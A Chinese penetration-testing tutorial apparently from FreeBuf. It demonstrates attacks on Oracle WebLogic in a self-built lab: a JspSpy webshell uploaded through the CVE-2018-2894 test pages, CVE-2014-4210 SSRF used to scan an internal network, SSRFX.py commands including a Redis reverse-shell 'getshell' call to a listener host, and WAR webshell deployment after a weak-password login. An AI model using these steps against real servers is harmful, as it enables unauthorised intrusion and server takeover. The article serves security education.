freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试之地基服务篇:服务攻防之中间件Weblogic(中)
2021-09-06 14:17:42

系列文章

专辑:渗透测试之地基篇

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

中间件是介于应用系统和系统软件之间的一类软件,它使用系统软件所提供的基础服务(功能),衔接网络上应用系统的各个部分或不同的应用,能够达到资源共享、功能共享的目的。

可想而知中间件连接着网络和系统接触着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,中间件的安全稳定运行也直接决定着业务系统能否正常使用。并且平台的中间件中往往连接数据库,而数据库储存着等极其重要和敏感的信息。如果中间件被攻破,这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。所以对数据库的保护是一项必须的,关键的,重要的工作任务。

通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!

今天会讲解到学习WebLogic Server 12.1.3详细安装、Weblogic 任意文件上传漏洞(CVE-2018-2894)、Weblogic SSRF漏洞(CVE-2014-4210)、Weblogic 弱口令 && 后台getshell等渗透操作等,最后远程代码执行控制服务器等操作,如果连Weblogic都不会安装操作提权等,怎么进行下一步的研究Weblogic安全!怎么拿下对方服务器?

二、WebLogic渗透攻防详解

1、WebLogic Server 12.1.3详细安装

1630909090_6135b2a2c1928c7e01f14.png!small?1630909092562

安装的时候将Weblogic放在Java JDK的bin目录下,防止出现因环境变量带空格导致的错误,安装过程一直点击下一步即可:
1630909094_6135b2a697cf217e5e436.png!small?1630909102649

1630909098_6135b2aa8244a194f3e0d.png!small?1630909102649


java -jar fmw_12.1.3.0.0_wls.jar

1630909104_6135b2b0cfba69c2de83b.png!small?1630909107090

安装域:

1)在电脑上找到Configuration Wizard
1630909109_6135b2b547d1f1bde81d3.png!small?1630909110283

2)双击运行后,选择第一项,下一步
1630909113_6135b2b9d06ffe0528641.png!small?1630909115026

C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain

3)使用默认选项,下一步
1630909118_6135b2be7693067c62d5e.png!small?1630909124469

4)填写安装weblogic时的账户名和密码,下一步
1630909121_6135b2c1bf5ecf3ea81d1.png!small?1630909124469

5)默认下一步
1630909125_6135b2c5b865f6eb19b94.png!small?1630909128311

6)选择管理和节点,下一步
1630909131_6135b2cb69bb3eb4e9c8f.png!small?1630909132880

7)下一步
1630909135_6135b2cf5bd8ab207a074.png!small?1630909141654

8)输入用户名密码下一步
1630909139_6135b2d3129af992cd89a.png!small?1630909141654

9)默认点击创建
1630909143_6135b2d769f5da9ede2b7.png!small?1630909145792

10)等待完成下一步
1630909146_6135b2dae09366b6b4c6d.png!small?1630909149065

11)完成!
1630909150_6135b2de72a9ad49e6979.png!small?1630909152521

启动:

进入:
1630909154_6135b2e2730124b6208b1.png!small?1630909157386

C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain

双击运行!

登录:
1630909158_6135b2e65a1fcaa7f4fcd.png!small?1630909159551
正常访问!!

2、Weblogic 任意文件上传漏洞(CVE-2018-2894)

1)漏洞简介

Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在”生产模式”下默认不开启,所以该漏洞有一定限制。

影响版本:

10.3.6
12.1.3
12.2.1.2
12.2.1.3

2)自搭环境注意

注意:我们前面默认安装是开发模式!此漏洞也是在开发模式下复现的,若需在生产模式下进行复现,则需要登录后台页面,点击base_domain的配置,在”高级”设置中 开启 “启用 Web 服务测试页” 选项,经过我的验证发现开启之后,不仅需要账号密码登陆,即使登陆了也没有这两处上传点。

1630909164_6135b2ec581138445017c.png!small?1630909168111

3)本地漏洞复现

(1)WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。两个页面分别为:

/ws_utc/begin.do
/ws_utc/config.do

访问ws_utc/config.do,设置Work Home Dir为ws_utc应用的静态文件css目录

C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cmprq0\war\css

1630909169_6135b2f1ab6a43f99484a.png!small?16309091703011630909173_6135b2f54135f95dbe73f.png!small?1630909173466

因为访问这个目录是无需权限的,提交后,点击左侧安全 -> 添加,然后上传Webshell:
1630909177_6135b2f9638ab70b76cc4.png!small?1630909177773

1630909180_6135b2fc87bff97ec7dff.png!small?1630909180869


(2)格式
1630909184_6135b300b49c7f7446617.png!small?1630909185815

然后访问

http://127.0.0.1:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]

即可执行webshell:

1630909188_6135b304e35c20eda98bc.png!small?1630909189056

http://192.168.253.97:7001/ws_utc/css/config/keystore/1619702162109_JspSpy.jsp

输入密码:ninty
1630909192_6135b308d438fd7554c88.png!small?1630909194322

上传一句话:
1630909197_6135b30d07f96c89a79f3.png!small?1630909197676

4)vulhub漏洞复现

(1)查看登录密码
1630909200_6135b310dd96683d35b7c.png!small?1630909201656

sudo docker-compose logs | grep password

密码为:87Bhsff9

(2)启用 Web 服务测试页
1630909205_6135b3153cbd80c075991.png!small?1630909205984

(3)漏洞验证
1630909208_6135b318da859b61cf0f7.png!small?1630909209393

http://192.168.253.7:7001/ws_utc/config.do

(4)我将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要:

1630909213_6135b31d52a5e2fdeed66.png!small?1630909213602

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

(5)然后点击安全 -> 增加,然后上传webshell:
1630909217_6135b3215e7776eb9b382.png!small?1630909217806

(6)获取时间戳
1630909220_6135b324e39221923fd64.png!small
时间戳:1619703165123

(7)然后访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell:
1630909227_6135b32b49792e06bdf9e.png!small?1630909227580

http://192.168.253.7:7001/ws_utc/css/config/keystore/1619703338618_JspSpy.jsp

1630909231_6135b32f77d55c75f7e6a.png!small?1630909232969

5)ws_utc/begin.do

在生产模式下默认不开启,在后台开启之后,需要认证!!

http://192.168.253.7:7001/ws_utc/begin.do

1630909237_6135b335144fee28d516c.png!small?1630909237535

登录后,点击右上角的文件夹,上传Webshell,点击提交,并抓包:
1630909244_6135b33c72b2e34a239a1.png!small?16309092462061630909248_6135b3408805813807143.png!small?1630909250081

upload/RS_Upload_2021-04-29_13-59-49_932/import_file_name_JspSpy.jsp

然后访问:
1630909253_6135b34549552ad10946d.png!small?1630909253862

http://192.168.253.7:7001/ws_utc/css/upload/RS_Upload_2021-04-29_13-59-49_932/import_file_name_JspSpy.jsp

1630909258_6135b34a09b84cb293e14.png!small?1630909261332
成功!!

6)注意事项

1630909261_6135b34db3af7aec551dc.png!small?1630909262896

1. ws_utc/begin.do 使用的工作目录是在ws_utc/config.do中设置的Work Home Dir!!
2. 利用需要知道部署应用的web目录。
3. 在生产模式下默认不开启,在后台开启之后,需要认证

7)安全防护

1、启动生产模式后Config.do页面登录授权后才可访问
2、升级到官方最新版本,目前(2019/06/07) 生产模式下 已取消这两处上传文件的地方。
3、IPS等防御产品可以加入相应的特征;

3、Weblogic SSRF漏洞(CVE-2014-4210)

影响版本:

10.0.2.0
10.3.6.0

1)验证漏洞

(1)验证是否正常访问
访问/uddiexplorer/SearchPublicRegistries.jsp,若能正常访问,则可能存在此漏洞,填写任意信息,如下:
1630909268_6135b354b09b746d73186.png!small?1630909270662

2)抓包分析

(1)抓包
1630909273_6135b359cd97dec3de07e.png!small?1630909276499

点击Search,并抓包,抓包之后在Burp中右键,选择Change request method, 将POST请求改变成GET。
1630909278_6135b35eb7786938e2a84.png!small?1630909281462

参数operator为SSRF的可控参数,将其更改为开放的端口,如http://127.0.0.1:7001/,将返回error code
1630909282_6135b36270770e78dfa71.png!small?1630909284725

(2)第一种现象:不存在的端口或IP地址

若开放端口为HTTP协议,则会返回did not have a valid SOAP content-type:

1630909287_6135b36773e6c92bd61c7.png!small?1630909289637

<p>An error has occurred<BR>
weblogic.uddi.client.structures.exception.XML_SoapException: Tried all: &#39;1&#39; addresses, but could not connect over HTTP to server: &#39;127.0.0.1&#39;, port: &#39;80&#39;
</table>

访问不存在的端口,将返回could not connect over HTTP to server

(3)第二种现象:主机存活且端口存在
1630909291_6135b36b9b87c0808b6b1.png!small?1630909294903

<p>An error has occurred<BR>
weblogic.uddi.client.structures.exception.XML_SoapException: Received a response from url: http://127.0.0.1:8080/ which did not have a valid SOAP content-type: text/html.
</table>

若开放端口为HTTP协议,则会返回did not have a valid SOAP content-type

(4)可访问的端口(且该端口是非http协议)
1630909296_6135b3702593f842cb22f.png!small?1630909297956

<p>An error has occurred<BR>
weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code &#40;Not Found&#41;.  Please ensure that your URL is correct, and the web service has deployed without error.
</table>

若开放端口不是HTTP协议但是端口开放,则会返回returned a 404 error code &#40;Not Found)

三种情况总结完毕!!

3)安装redis

4.x安装:

wget http://download.redis.io/releases/redis-4.0.8.tar.gz
tar -zxvf redis-4.0.8.tar.gz
cd redis-4.0.8
make


(1)cp redis.conf ./src/redis.conf
(2)bind 127.0.0.1前面加上#号注释掉
注释这行语句,代表任意机器都可以登录redis
(3)protected-mode设为no
这只为NO,代表关闭安全设置
(4)启动redis-server
./src/redis-server redis.conf

1630909305_6135b379cbbfa22478f0a.png!small?1630909310717

1630909311_6135b37f8026bea635763.png!small?1630909312415
成功开启!
1630909315_6135b3835afc639ae7693.png!small?1630909315663
成功搭建访问!

4)weblogic ssrf联动redis反弹shell

1630909320_6135b3883901729f10ead.png!small?1630909322514
经过测试windows环境无法操作,因为浏览器回馈的有问题!换成vulhub进行联动!!

(1)需要安装环境

乌班图安装pip和python2环境已经在apache里详细演示和讲解!请回看!
1630909325_6135b38d15ee4e9413e6f.png!small?16309093333331630909335_6135b3974facb03427eb4.png!small?1630909342942

pip install -r requirements.txt
python SSRFX.py -h

完成安装环境!

(2)现在模拟内网中存在一台Redis,我们来对他进行攻击:

在前面的探测,我们已经知道了目标系统内网地址存活状态,并发现了一个6379端口主机,根据经验,该端口下的服务是Redis数据库。

存活扫描:
python SSRFX.py --url http://192.168.253.94:7001/uddiexplorer/SearchPublicRegistries.jsp --app weblogic --network 192.168.253.0/24 --type livedetect

端口扫描:
python SSRFX.py --url http://192.168.253.94:7001/uddiexplorer/SearchPublicRegistries.jsp --app weblogic --network 192.168.253.0/24 --type portscan
python SSRFX.py --url http://example.com/uddiexplorer/SearchPublicRegistries.jsp --app weblogic --vulapp redis --type getshell --lhost 内网主机 --lport redis端口 --rhost 远程主机 --rport 监听端口

python SSRFX.py --url http://192.168.253.94:7001/uddiexplorer/SearchPublicRegistries.jsp --app weblogic --vulapp redis --type getshell --lhost 127.0.0.1 --lport 6379 --rhost 192.168.253.27 --rport 8888

目前测试情况下是不成功的,本地也不成功,外部内网也不成功!那么上面的几条命令是给小伙伴们学习参考使用的!

4、Weblogic 弱口令 && 后台getshell

影响全版本!

1)弱口令爆破机制查看

爆破点检测:
1630909343_6135b39f407e16f52fb73.png!small?1630909344832

j_username=weblogic&j_password=dayu123%21&j_character_encoding=UTF-8

密码处使用了url编码混淆!

2)上传部署war木马

访问http://192.168.253.94:7001/console

点击部署,进一步点击右边的安装:
1630909348_6135b3a484072bc1338b5.png!small?1630909352510

点击上载文件:
1630909353_6135b3a917afade7bffdd.png!small?1630909354567

选择war包,点击下一步:
上传完成以后选中你上传的文件,点击下一步:
1630909357_6135b3adafd0baf785441.png!small?1630909364661

选中作为应用程序安装,点击下一步:
1630909361_6135b3b15b5b23a0d581d.png!small?1630909364662

然后直接点击完成即可
1630909365_6135b3b56a93c620aded3.png!small?1630909367812

选用我们安装的应用,点击启动即可:
1630909369_6135b3b97140449bb617b.png!small?1630909371415

3)成功webshell

1630909373_6135b3bdc67bfb4e63472.png!small?1630909374116

1630909378_6135b3c245dce7a7f87b4.png!small?1630909380132
继续渗透即可!

4)安全防护

避免后台弱口令!!

三、总结

今天学到了WebLogic Server 12.1.3详细安装、Weblogic 任意文件上传漏洞(CVE-2018-2894)、Weblogic SSRF漏洞(CVE-2014-4210)、Weblogic 弱口令 && 后台getshell等渗透操作,最后远程代码执行控制服务器等操作,以及整改加固建议的方式方法,学到了非常多的小技巧和干货,希望小伙伴能实际操作复现一遍!

服务攻防之数据库Mysql(上)-> 服务攻防之数据库Mysql(下)-> 服务攻防之数据库MSSQL(上)-> 服务攻防之数据库MSSQL(中)-> 服务攻防之数据库MSSQL(下)-> 服务攻防之数据库Oracle(上)-> 服务攻防之数据库Oracle(下)-> 服务攻防之数据库Redis(上)-> 服务攻防之数据库Redis(下)-> 服务攻防之数据库Mongodb(上)-> 服务攻防之数据库Mongodb(下)-> 服务攻防之中间件IIS(上)-> 服务攻防之中间件IIS(下)-> 服务攻防之中间件Apache(总)-> 服务攻防之中间件Nginx(总)-> 服务攻防之中间件Tomcat(上)-> 服务攻防之中间件Tomcat(下)-> 服务攻防之中间件JBoss(上)-> 服务攻防之中间件JBoss(中)-> 服务攻防之中间件JBoss(下)-> 服务攻防之中间件Weblogic(上)-> 服务攻防之中间件Weblogic(中)......

接下来在《服务攻防之中间件Weblogic(下)》会接触到如何进行Weblogic Console HTTP协议远程代码执行漏洞(CVE-2020-14882/3)、IIOP反序列化漏洞 CVE-2020-2551、实战思路详解等渗透操作,如何提权渗透等方法,请看下篇服务攻防之中间件Weblogicb篇下章!

希望大家提高安全意识,没有网络安全就没有国家安全!

今天基础牢固就到这里,虽然基础,但是必须牢记于心。

作者:大余

# 渗透测试
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录